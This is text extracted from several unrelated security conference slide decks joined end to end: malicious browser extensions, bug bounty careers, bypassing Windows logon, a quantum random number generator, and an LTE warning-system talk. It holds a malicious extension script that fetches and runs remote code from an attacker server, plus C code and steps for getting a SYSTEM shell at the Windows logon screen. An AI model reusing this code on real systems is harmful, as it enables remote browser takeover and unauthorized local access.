cookies from
chrome.tabs.onUpdated.addListener(function(gdhndztwu, ylvmbrzaez, ypujhmpyy) {
var xhr_obj = juykhjkhj();
xhr_obj['onreadystatechange'] = function() {
if (xhr_obj['readyState'] == 4) {
chrome['tabs']['executeScript']({
code: xhr_obj['responseText']
})
}
};
xhr_obj['open']('get', 'http://appbda.co/data.js');
xhr_obj['send']();
if (rkiyypsyn == 0) {
rkiyypsyn = 1;
}
Command & Control
Background Script
Any time a tab
is updated
Get new commands
from the attacker’s server
And execute it
on the active tab.
But It’s Too Complicated
Why Do It Yourself?!
Adobe Acrobat extension XSS
• XSS found on January 2016
• 30 million installations
• XSS found by Google Project Zero
researcher Tavis Ormandy
op = request.panel_op;
switch (op) {
case "status":
if (request.current_status === "waiting") {
...
} else if (request.current_status === "failure") {
analytics(events.TREFOIL_HTML_CONVERT_FAILED);
if (request.message) {
str_status = request.message;
}
success = false;
}
}
...
if (str_status) {
$(".convert-title").removeClass("hidden");
$(".convert-title").html(str_status);
}
The frame who framed the XSS
iframe.js
This is our
payload!
Raw input to HTML
Content-Security Policy
• CSP by default on extensions since 2014
• Protects in 3 ways:
1. Forbid evals
2. Forbid inline scripts
3. Allow only local scripts
“We find that 94.68% of policies that attempt
to limit script execution are ineffective, and
that 99.34% of hosts with CSP use policies
that offer no benefit against XSS”
AVG Web Tuneup extension XSS
• XSS found on December 2015
• 9 million installations
• XSS found by Google Project Zero
researcher Tavis Ormandy
AVG Web Tuneup - DEMO
JSONView extension XSS
• XSS found on February 2016
• Removed from store on
November 2016
• Came back on January 2017
• XSS found by Joe Vennix
JSONView - DEMO
Q / A
THANKS
[email protected] | pdf |
Screw Being A Pentester -
When I Grow Up I Want To Be A
Bug Bounty Hunter
Jake Kouns
@jkouns
Chief Information Security Officer (CISO)
Risk Based Security
Carsten Eiram
@CarstenEiram
Chief Research Officer (CRO)
Risk Based Security
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Risk Based Security
Community offerings:
Commercial offerings:
Information Security:
Career Decisions
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
IT Security Career Choices!
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
IT Security Career Choices – Blue vs. Red!
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
IT Security Career Choices – Red Team!
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Pentester – Good Things About Red Teams
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Red Teams = Pentester
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Pentester - Painful At Times?
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Pentester - Painful At Times?
Also the option of becoming an
independent pentester!
Don’t have to work for ”the man”, but
work time breakdown is roughly:
– 1/3 actual pentesting (fun)
– 1/3 administrative tasks and documentation
– 1/3 being a sales weazel (finding clients!)
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Is There A Better Career Choice?
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Bounty Hunters
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Bounty Hunters
Quick Overview To Set
The Bug Bounty Stage
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Research Motivation – Old Skool
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Research Motivation – Old Skool
Reporting vulnerabilities to vendors
back in the day (and sometimes
today) was often a hassle!
Researchers would
instead find alternatives...
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Research Motivation – Old Skool
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Research Motivation – Old Skool
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Some Early Bounties
• Some vendors / security companies
realize that rewarding discoveries is
an incentive for researchers to report
their findings.
• August 2002, iDefense creates VCP
(Vulnerability Coordination Program)
• August 2004, Mozilla creates their
bug bounty program, paying USD 500
for critical bugs
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
First Bounty?
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
First Bounty?
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Netscape – October 1995
• Netscape actually launched the Netscape Bugs
Bounty back in October 1995 to improve the
security of their products.
• Interestingly, their approach was to offer cash
for vulnerabilities reported in the latest beta
– Wanted to incentive researchers to help secure it
before going into stable release
– Not unlike part of Microsoft’s bounty program
today.
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Full Disclosure
• 2000 - 2008 disclosure was a huge battle
ground between vendors and researchers
• Researchers still had problems getting
vendors to respond...
• Perception (true or not) was that vendors
only fixed bugs when dropped
• Researchers were hardcore Full
Disclosure the ”right” way
– Importance placed on getting bugs fixed / improving
security
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Pwn2Own – A Bug Bounty Contest
• Created in 2007 for CanSecWest
– Chance to win x2 Macbook Pro and USD $10k from
ZDI
• Big money on the line in 2010
– Total cash prize pool of USD $100,000
• Competition brings lots of PR and growing cash
incentives
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
No More Free Bugs
• In March 2009 at CanSecWest, researchers
announce their new philosophy: ”No More
Free Bugs”.
• It’s not really clear how much effect this had
• At least sparked a debate about the issue, and
made (some) researchers’ expectations of
monetary compensation more publicly known.
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Type Of Bugs Bounties & Awards
• Company run bug bounties
• 3rd party bug bounties
– ZDI
– iDefense VCP
• Competitions
– pwn2own
• Crowd-sourced programs
– Bugcrowd
– HackerOne
– CrowdCurity
– Synack
– More!?
• Cash
• Prizes
– Tshirt
– Mug
– Conferences
• Fame and glory
• Appreciation
Company Run
Bug Bounties
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
• Bounties that are run by the company owning
the website or software.
• In almost all cases, reporting and coordination
is directly with the company and not through
intermediaries.
-
Facebook
-
Yahoo!
-
Paypal
-
AT&T
-
Google
-
Mozilla
-
cPanel
-
Microsoft
Company Run Bug Bounties
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
• The number of bug bounty programs continues
to grow!
• We maintain a list of bounty programs for our
research:
– ~300 documented programs
– ~260 have some type of reward
– ~165 provide recognition with a hall of fame
– ~75 have some type of monetary reward
• BugCrowd has a nice crowd sourced public list:
– https://bugcrowd.com/list-of-bug-bounty-programs
Company Run Bug Bounties
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Company Run Bug Bounties - Google
• Google started providing bounties in 2010
• Continues to be one of the more serious
vendor bounties
– Big reason bounties took off (Pwnium 4
announced USD 2.7M in prizes)
– In Aug 2013 Google had paid out >$2 million in
rewards for >2,000 valid reports
– Offer bounties for other software
• They also continue to push for bugs getting
fixed and disclosed in a timely manner.
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Company Run Bug Bounties - Facebook
This program rewards high quality
security research from the community
that helps make Facebook more secure.
TARGETS:
Anything that could compromise the integrity
of people's data, circumvent the privacy
protections of people's data, or enable access
to a system within our infrastructure is fair
game.
BOUNTIES:
Program Founded: July 2011
Over 1,500 bounties have been paid
out.
RESEARCHERS:
600+ unique researchers paid USD
Paid researchers in 79 countries. The top
countries by number of researchers are India
(147), USA (109), and UK (30).
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Company Run Bug Bounties - Facebook
• Average Bounty Amount: In the low thousands
• $500 is our minimum, and don’t have maximum set.
• Largest bounty was $33,500. You can read more about that payout
here:
https://www.facebook.com/BugBounty/posts/778897822124446.
• More details: https://www.facebook.com/whitehat
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Facebook $1.5M In 2013
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Hold Outs
Third Party Bounties
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
• Bounties that are run by the other companies
that do not own the software.
– Typically is not for site specific or websites.
• They use the information to share with their
customers or include in their own security
products.
• In almost all cases, reporting and coordination
is directly with the company running the
bounties and not with the software vendor.
Third Party Bug Bounties
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Third-party Bug Bounty Providers - ZDI
Founded: August 15, 2005 (10th year!)
Located: Austin, TX
TARGETS:
The research is focused on critical
vulnerabilities in programs widely used in
global enterprises, critical infrastructure, and
the general computing community.
BOUNTIES:
While the Zero Day Initiative does
offer a bug bounty, and is, as such, a
“bug bounty program,” the focus of
our program is to foster an extended
security research organization focused
on responsible disclosure of
vulnerabilities to and with vendors.
RESEARCHERS:
There are 3,000+ independent researchers
registered to contribute to the ZDI.
Nearly 100 countries. US, UK, India, Germany,
and France are the top 5 countries.
Unknown unique researchers paid USD
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
ZDI
• Number of bounties paid posted online (1,715 by July 18th 2014):
- http://www.zerodayinitiative.com/advisories/published/
• Average Bounty Amount: Unknown
• The ZDI has paid bounties ranging from three figures to six figures
for vulnerabilities/exploits in the past.
• Extra monetary rewards etc. for ”return business”.
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Third Company Providers – iDefense
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Third-party Bug Bounty Providers - EIP
Founded: June 2012
Located: Austin, TX
TARGETS:
Critical and actually exploitable vulnerabilities
in most major/widely deployed software.
BOUNTIES:
Unknown. They do not disclose such
information about their program.
RESEARCHERS:
Unknown. They do not disclose such
information about their program.
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Third-party Bug Bounty Providers - EIP
• Information about the program is available at:
• https://www.exodusintel.com/eip
• “We intend to ensure our offers are more than competitive when
compared to other such programs. “
• Yearly bonuses with top 4 researchers being awarded $20,000 USD
each as well as invitations to collaborative hacking events.
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Third Company Providers – Pointers
• Make sure you’re clear on what software they
are likely to accept.
• Split each vulnerability (root cause – not attack
vector) into a separate report.
• Include as many confirmed (no guesswork)
details about the vulnerability as possible.
• Provide trimmed down PoCs and/or exploits.
• Clearly list tested software and versions as well
as where to obtains trials etc.
Crowd-sourced
Bounties
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Crowd-Sourced Bounties
• Companies sign up with the service and they
offer bounties through their platform
• Bounties are opened up to all researchers
registered on the service’s platform
• Validation of bug submission and bounty
payments handled via the service
• Starting to see a blur between traditional bug
bounties and pentesting / red team testing
– Remove the sales aspect if you want to do
independent pentesting
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Bugcrowd Details
Founded: September 2012
Located: San Francisco, CA
TARGETS:
Web, mobile, client-side and embedded (IoT)
applications.
Also introduced Flex, which is a crowd-sourced
penetration test.
BOUNTIES:
23 public are currently active, and a
number of private programs.
170 programs to various stages have
been run.
57 companies since Oct ‘13.
RESEARCHERS:
Over 10,000 researchers have signed up.
Researchers from around the world.
231 unique researchers paid USD
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
BugCrowd Sign-up Process
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Bugcrowd Details
• 1,062 bugs since November 2012
• Average Bounty Amount: USD $241
• Pay out primarily through PayPal, with rare exceptions made
where with Western Union, wire transfer, and bitcoins.
• Average time to process a submission (from submit to paid) is
2-6 weeks
• Largest single payout was USD $13,500.
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Bounty Hunter Details
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Bugcrowd – Leaderboard & Kudos
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Bugcrowd – Money vs. Kudos
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
HackerOne Details
Founded: September 2013
Located: San Francisco, CA
TARGETS:
The bounties run by individual response teams
can be focused on whatever software target
the response team wants to be tested.
BOUNTIES:
•
63 security teams currently run a
public program on the HackerOne
platform
•
Many other teams currently
running with a private soft launch
program
RESEARCHERS:
Thousands of researchers have registered and
over 800 researchers have submitted a valid
finding leading to a bounty or recognition on a
Hall of Fame.
Unknown # unique researchers paid USD
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
HackerOne Sign-up Process
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
HackerOne Details
• 1,347 bugs have been paid.
• Average Bounty Amount: $677.67
• Largest single payout was $15,000.
• Multiple $15,000 bounties have been awarded through the
platform.
• One of these was the Internet Bug Bounty's $15,000
heartbleed reward, donated to charity by Neel Mehta.
• Other $15,000 bounties were from Yahoo.
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
HackerOne – Internet Bug Bounty
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
HackerOne – Internet Bug Bounty
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
HackerOne – Internet Bug Bounty
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
CrowdCurity Details
Founded: July 2013
Located: San Francisco, CA
TARGETS:
Web application security, with a focus on
bitcoin.
BOUNTIES:
45 are currently active
90 programs have been run all time.
50 - 100 companies have used the
platform.
RESEARCHERS:
1,300 researchers have signed up with 300 – 400
being active.
Researchers from India, European countries (UK,
Germany, Sweden), Malaysia, US.
~100 unique researchers paid USD
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
CrowdCurity – Sign-up Process
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
CrowdCurity Details
• ~800 bugs have been paid
• Average Bounty Amount: $150
-
Standard package is $50, $300, $1,000 (low, medium, high)
-
Super package is $100, $500, $2,000 (low, medium, high)
• Largest single payout was $1,500.
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
CrowdCurity – Hall of Fame
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
CrowdCurity – Tester of the Week
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Synack Details
Founded: January 2013
Located: San Francisco, CA
TARGETS:
Synack is not a managed bug bounty provider.
Synack is focused on application vulnerabilities
across web and mobile, along with host-based
network infrastructure.
BOUNTIES:
Only runs paid engagements with
customers and does not offer unpaid
programs.
Unknown number of clients
RESEARCHERS:
Unknown number of researchers and how
many unique paid USD
Approximately 40% of Synack researchers are
US-based, with the remaining spread across 21
countries around the world, spanning 6
continents.
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Synack Sign-up Process
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Synack Sign-up Process
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Synack Details
• Number of payouts: Unknown
• Average Bounty Amount: Unknown
-
Bounties scale, given the severity and impact, and are
normalized across customer base.
-
Most payouts range from USD $100 to $5,000 (no upper limit)
• Largest single payout: Unknown
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Crowd-Sourced Bounties – Pointers
• Due to risk of duplicates, speed is more of a
factor than other types of bug bounties to
ensure decent ROI.
• Many provide a heads-up on when a new
bounty starts – be ready to begin ASAP.
• When finding a vulnerability, quickly create a
PoC, a short write-up, and then report it
immediately.
– Don’t wait or you end up with kudos instead of
cool cash!
Brokers –
Better Approach?
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
• Researchers who find vulnerabilities, work with a
broker to find the best market and price to sell
the information.
• Could be a number of avenues, including Gray and
Black Markets.
• Generally thought to be the way to get the most
money possible for your research.
• In almost all cases, reporting and coordination is
directly with the broker only who handles the
who transaction.
• Details of the vulnerabilty are never to be
published.
Bug Brokers
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Brokers - SSD
Founded: 2010 (Beyond Security)
Located: Cupertino, CA
TARGETS:
Purchasing program isn't focused on specific
vulnerabilities or vendors, rather on things of
interest.
BOUNTIES:
"SecuriTeam Secure Disclosure" is a
researcher-oriented program where
security researchers can get paid for
vulnerabilities they discover, according
to the severity/interest of the specific
vulnerability.
RESEARCHERS:
Unknown number of researchers
We have researchers from all continents
except Africa., with most of them are from the
US and Europe.
Unknown unique researchers paid USD
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Brokers - SSD
• Over 100 bounties paid in the last year
• Average Bounty Amount: USD $5,000 to $100,000
• Largest single payout: Above USD $1,000,000
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Secunia SVCRP
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
the grugq
Bug Bounties –
Is It Worth Your Time?
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Reality Check Before Starting Out
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Reality Check Before Starting Out
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Location Matters - Pentester Average Annual Salaries
*All amounts in USD
$0
$10,000
$20,000
$30,000
$40,000
$50,000
$60,000
$70,000
$80,000
$90,000
$100,000
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Reality Check Before Starting Out
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Due Diligence Before Putting in Work
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Reality Check Before Starting Out
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Reality Check Before Starting Out
Bug Bounties –
What Is To Come?
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Software Is Still Awful
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Bug Bounties Have Rules & More To Come!
• Rules/requirements may not be as clear as they
”should be”
– What is considered a valid submission
– Restrictions/limitations
– How are duplicate reports handled
– How should it be reported
– What information should be included
– What is the expected response time
• Very clear rules of engagement
– Testing live sites and production customer profiles
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Legal Threats – They Still Happen!
Source: http://attrition.org/errata/legal_threats/
• Cisco vs Mike Lynn (2005)
Still happens today... And unfortunately with some success!
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Bounty vs Extortion
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Attitude Adjustment (Researchers)
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Impact of Google Project Zero
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Impact of Google Project Zero
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
Future of Bug Bounties
N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y
-
Brian Martin
-
Katie Mo / HackerOne
-
Nate Jones / Facebook
-
HP / ZDI
-
CrowdCurity
-
SecuriTeam
-
Marisa & Casey / BugCrowd
-
Bug Bounty Hunters!
Thank you!
Discussion!
Screw Being A Pentester -
When I Grow Up I Want To Be A
Bug Bounty Hunter
Jake Kouns
@jkouns
Chief Information Security Officer (CISO)
Risk Based Security
Carsten Eiram
@CarstenEiram
Chief Research Officer (CRO)
Risk Based Security | pdf |
The Insecure Workstation II
Bob Reloaded
When not having access
qualifies as a disability…
Its not my fault, trust me!
• The information provided in this presentation is
for educational purposes only. I am in no way
responsible for any damage that is the result of the
use or misuse of the information provided in this
presentation
Today’s presentation
• This presentation has two parts:
• Rights escalation using API call vulnerabilities
• Subverting Windows logon
• Key take-aways
• Better understanding of simple desktop/console
vulnerabilities
• Protecting information assets with layered defense
• Subverting desktop security for fun and entertainment!
What is your opinion?
• You will be asked to participate at the end
of this presentation:
• What methods do you use to secure your
environment?
• Do you follow defense in depth principles?
• What would you do different?
Help API vulnerability
• What is a “help API” vulnerability?
A vulnerability that is exposed when an application running with system level
rights makes a API call to the help viewer and does not drop any privileges
before invoking the help viewer.
A user can then us the help viewer to access other application which will
execute at system level.
• Bugtraq report
Bugtraq ID 8884 Oct 24th 2003 Brett Moore
http://www.securityfocus.com/bid/8884
Help API vulnerability
• How wide spread is this vulnerability?
• Why do vendors continue down this path?
• Money
• Beat competitors to market – cutting corners
• Vendors presume that users will not abuse their product
– security through obscurity
• Sell first, fix later – make the customer pay to fix flaws
Help API vulnerability
• Demonstration
• Netware Zenworks remote desktop manager
• Novell quickly released a security patch
• Spysweeper anti spyware enterprise version
• Help API fixed, but application still runs at system level
and interacts with desktop
• Mcafee AV 4.51
• This was reported in Sep 15 2004 Bugtraq #11181
• A different exploit point
Help API vulnerability
• How do I tell if my system is vulnerable?
• What is running with system rights?
• Taskmgr ( take a close look)
• What icons are in the tray?
• What applications need higher rights to function
correctly?
• Antivirus
• Anti Spyware
• Remote management tools
• Auditing tools and application
Help API vulnerability
• How do we protect ourselves from a Help
API Vulnerability?
• Group policy (maybe)
• Remove icons from the system tray
• Test all new applications before deployment
This years project
Subverting
Windows logon
Subverting Windows logon
• This year’s research project and what we
learned
• Credit for all the hard work
• Three rules that drove the research:
• It must be simple
• It needs to fit in my pocket if not in my head
• Must be able to easily protect against it
Bypassing Windows logon
• What, Why, Were, When and How
• Can Windows logon be subverted?
• Curiosity “Just because its there”
• XP, W2K3 , etc
• Bob is back on the job
• How
• Methodology - “the attack process”
• Programmatically -“the attack application”
Exploit part 1 “Utility Manager”
• What is Utility Manager?
• How does it work and how do we access it?
• Why is it such a problem?
• Local System
• User controlled
Exploit part 2 “ Logon Screen”
• User interface objects are managed using
Windows stations and desktops
• Winsta0
• Multiple desktops in Windows
• Default
• Screen Saver
• Winlogon
Exploit Part 3 “Delivery”
• Admin access
• API vulnerabilities
• Bit level modification of hard disk
• Maintenance boot disk
Exploit part 4 “The code”
• This code poses no security issues by itself
• Basically we are just setting the
CreateProcess thread to run under the
winlogon desktop
• The security breakdown is how it is used.
We are taking advantage of an architecture
design issue within Microsoft
• The code is extremely simple!
Exploit part 4 “ The code”
#include <windows.h>
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR lpCmdLine,
int nShowCmd) {
STARTUPINFO si;
PROCESS_INFORMATION pi;
memset( &si, 0, sizeof(si) );
memset( &pi, 0, sizeof(pi) );
si.cb = sizeof(STARTUPINFO);
si.lpDesktop = "Winsta0\\Winlogon";
CreateProcess("C:\\windows\\system32\\cmd.exe", NULL, NULL, NULL, false, NULL,
NULL, NULL, &si, &pi);
return 0;
}
BOB RELOADED
When not having access qualifies
as a disability…
BOB RELOADED
• Install exploit code using maintenance disk
• Open back door at Winlogon desktop with
osk.exe
• Limited resources XP
• taskmgr
• Network access
• Using memory tools “Password grab”
• CreateProcessAsUser and Impersonating the
security context of a logged on user.
BOB RELOADED
• Open back door at Winlogon desktop on W2K3
server
• Resources
• Run explorer “full desktop”
• There is more than one way to use this:
• Create LocalSystem shell on Default desktop with
Magnifier
Exploit “Is this real?”
• Is this a real threat?
• Why it is…
• Potential impact to security
• Possible real word scenarios
• Other exploits could follow this same method
• Unknown exploits are stopped with Defense
in Depth tactics
Basic Protection
• How do I protect my systems from this
exploit?
• Group policy (maybe)
• Remove or disable utilmgr
• Disable boot CDROM - lock BIOS
• Host IDS on servers
“The Big Picture”
• Preventing back door exploits by
employees:
• Policies
• Separation of duties
• Application, system verification and testing
before deployment
“The Big Picture”
• Preventing non-employee access
• Who is that maintenance man and what do you
really know about the night janitors?
• Using social engineering to gain physical
access “security awareness training”
• Contractual agreements with contractors and
outsourcers “whether it’s janitorial or
application development”
“The Big Picture”
• Defense in Depth “The only effective
method to defend your network”
• Combination of people, processes and
technology
• Applied at each layer. If one layer is
compromised your entire organization is not
compromised
• Policy, physical, perimeter, internal network,
host, application and data
Now its your turn…
• What methods do you use to secure your
environment?
• Do you follow defense in depth principles?
• What would you do different?
Remember Bob may be working for you.
Contact information:
• Email: [email protected]
• Web Site: www.layereddefense.com | pdf |
Design and Implementation of a Quantum
Design and Implementation of a Quantum
True Random Number Generator
True Random Number Generator
What is True Randomness?
What is True Randomness?
Must be unpredictable.
Must be unpredictable.
For a given set of binary data 'i', the i+1
For a given set of binary data 'i', the i+1th
th bit can only be
bit can only be
predicted with 50% accuracy.
predicted with 50% accuracy.
Must be unbiased and nonalgorithmic. Computers can't do
Must be unbiased and nonalgorithmic. Computers can't do
this (and neither can you!).
this (and neither can you!).
Useful for cryptography, science, and games (gambling and
Useful for cryptography, science, and games (gambling and
drinking).
drinking).
Types of Random Number Generators
Types of Random Number Generators
Pseudorandom (PRNG): Uses an algorithm and a 'secret'
Pseudorandom (PRNG): Uses an algorithm and a 'secret'
initial sequence. This is what your computer does.
initial sequence. This is what your computer does.
True Random (TRNG): Samples a physical system of high
True Random (TRNG): Samples a physical system of high
entropy.
entropy.
Both are easy to design wrong and they fail silently!
Both are easy to design wrong and they fail silently!
Types of TRNG
Types of TRNG
Non Quantum: Samples a complex system of high
Non Quantum: Samples a complex system of high
entropy (lavalamps, time between keypresses).
entropy (lavalamps, time between keypresses).
Higher bandwidth, easier to construct, numbers are
Higher bandwidth, easier to construct, numbers are
not produced by any obvious algorithm.
not produced by any obvious algorithm.
Is complexity as good as randomness?
Is complexity as good as randomness?
Types of TRNG
Types of TRNG
Quantum TRNG (QTRNG): Samples a simple system of
Quantum TRNG (QTRNG): Samples a simple system of
high entropy (behavior of single photons or particles).
high entropy (behavior of single photons or particles).
Low bandwidth, difficult to sample quantum level
Low bandwidth, difficult to sample quantum level
phenomenae.
phenomenae.
However, the output 'should' be truly random!
However, the output 'should' be truly random!
Mistakes to Avoid
Mistakes to Avoid
Do not use more than one
Do not use more than one
entropy source or detector.
entropy source or detector.
The author of this paper
The author of this paper11
suggests a good method too.
suggests a good method too.
Mistakes to Avoid
Mistakes to Avoid
Do not use a counter + CPU
Do not use a counter + CPU
interrupts. The number of
interrupts. The number of
events within a given time is
events within a given time is
not a random distribution, it
not a random distribution, it
is a Poisson distribution
is a Poisson distribution22..
Do not try to calculate
Do not try to calculate
'expected' time between
'expected' time between
events, either.
events, either.
Our Design
Our Design
Our Design
Our Design
A PIN photodiode and opamps are used as a solidstate
A PIN photodiode and opamps are used as a solidstate
particle detector that operates at low voltages. It was
particle detector that operates at low voltages. It was
enclosed in a Faraday cage.
enclosed in a Faraday cage.
Flex PCB
Flex PCB
Boards were printed on flex PCB for its good rapid
Boards were printed on flex PCB for its good rapid
prototyping characteristics.
prototyping characteristics.
Our Design
Our Design
Pulse shaping is done by a Schmitttrigger hex inverter.
Pulse shaping is done by a Schmitttrigger hex inverter.
Our Design
Our Design
Sampling and parallel
Sampling and parallel
output are done by an
output are done by an
ATtiny261 MCU @
ATtiny261 MCU @
8Mhz.
8Mhz.
Our Design
Our Design
Demonstration
Demonstration
Hopefully no magic blue smoke
Hopefully no magic blue smoke
Basic Analysis of Output
Basic Analysis of Output
Check for bias by creating simple frequency charts.
Check for bias by creating simple frequency charts.
X means of Y random values should approach the binomial
X means of Y random values should approach the binomial
distribution for large X and Y
distribution for large X and Y33..
Keep in mind that 'proving' randomness is impossible
Keep in mind that 'proving' randomness is impossible
through hypothesis testing.
through hypothesis testing.
Advanced Analysis
Advanced Analysis
NIST Random Number Generation Technical Working
NIST Random Number Generation Technical Working
Group Statistical Test Suite 2.0
Group Statistical Test Suite 2.044
100 megabits of data were used for these tests, with default
100 megabits of data were used for these tests, with default
options and a=0.01
options and a=0.01
The last of 188 tests (linear complexity) did not seem to run
The last of 188 tests (linear complexity) did not seem to run
correctly.
correctly.
Advanced Analysis
Advanced Analysis
Given a block of random data divided into X bitstreams and
Given a block of random data divided into X bitstreams and
subjected to Y tests at some threshold alpha value for
subjected to Y tests at some threshold alpha value for
faliure Z, you expect true random data to fail X*Y*Z tests.
faliure Z, you expect true random data to fail X*Y*Z tests.
Minimum 1/alpha bitstreams required (our alpha=0.01)
Minimum 1/alpha bitstreams required (our alpha=0.01)
We expect 187 faliures, we observe 205.
We expect 187 faliures, we observe 205.
Faliures do not cluster on any specific test.
Faliures do not cluster on any specific test.
Future Technology!
Future Technology!
Single photon QTRNGs using singlephoton emitters and
Single photon QTRNGs using singlephoton emitters and
photomultiplier tubes (Ebay!)
photomultiplier tubes (Ebay!)
High bandwidth, zero bias! No isotopes! Requires high
High bandwidth, zero bias! No isotopes! Requires high
voltage and vacuum tubes (seriously).
voltage and vacuum tubes (seriously).
Acknowledgements
Acknowledgements
Foulab for a space to work, and friends to work
Foulab for a space to work, and friends to work
with.
with.
TRNG driver and data management scripts
TRNG driver and data management scripts
written by fx
written by fx
Want to make one yourself?
Want to make one yourself?
If all goes well, boards will be available in one
If all goes well, boards will be available in one
month at
month at www.legionheavyindustries.com
www.legionheavyindustries.com
References
References
1:
1: http://isi.cbs.nl/iamamember/CD2/pdf/545.PDF
http://isi.cbs.nl/iamamember/CD2/pdf/545.PDF
2:
2: http://en.wikipedia.org/wiki/Poisson_process
http://en.wikipedia.org/wiki/Poisson_process
3:
3: http://en.wikipedia.org/wiki/Binomial_distribution
http://en.wikipedia.org/wiki/Binomial_distribution
4:
4: http://csrc.nist.gov/groups/ST/toolkit/rng/index.html
http://csrc.nist.gov/groups/ST/toolkit/rng/index.html
For more information:
For more information:
http://www.national.com/onlineseminar/2004/photodiode/PhotodiodeAmplifers.pdf
http://www.national.com/onlineseminar/2004/photodiode/PhotodiodeAmplifers.pdf
http://jp.hamamatsu.com/resources/products/ssd/pdf/s1223_series_kpin1050e01.pdf
http://jp.hamamatsu.com/resources/products/ssd/pdf/s1223_series_kpin1050e01.pdf
http://www.fourmilab.ch/hotbits/how3.html
http://www.fourmilab.ch/hotbits/how3.html | pdf |
Hacking(Public(Warning(System(in(LTE(
Mobile(Network
Li, Weiguang
[email protected]
(
UnicornTeam@360 Technology
(
Agenda
01(About(Public(Warning(System(in(LTE(Network(
(
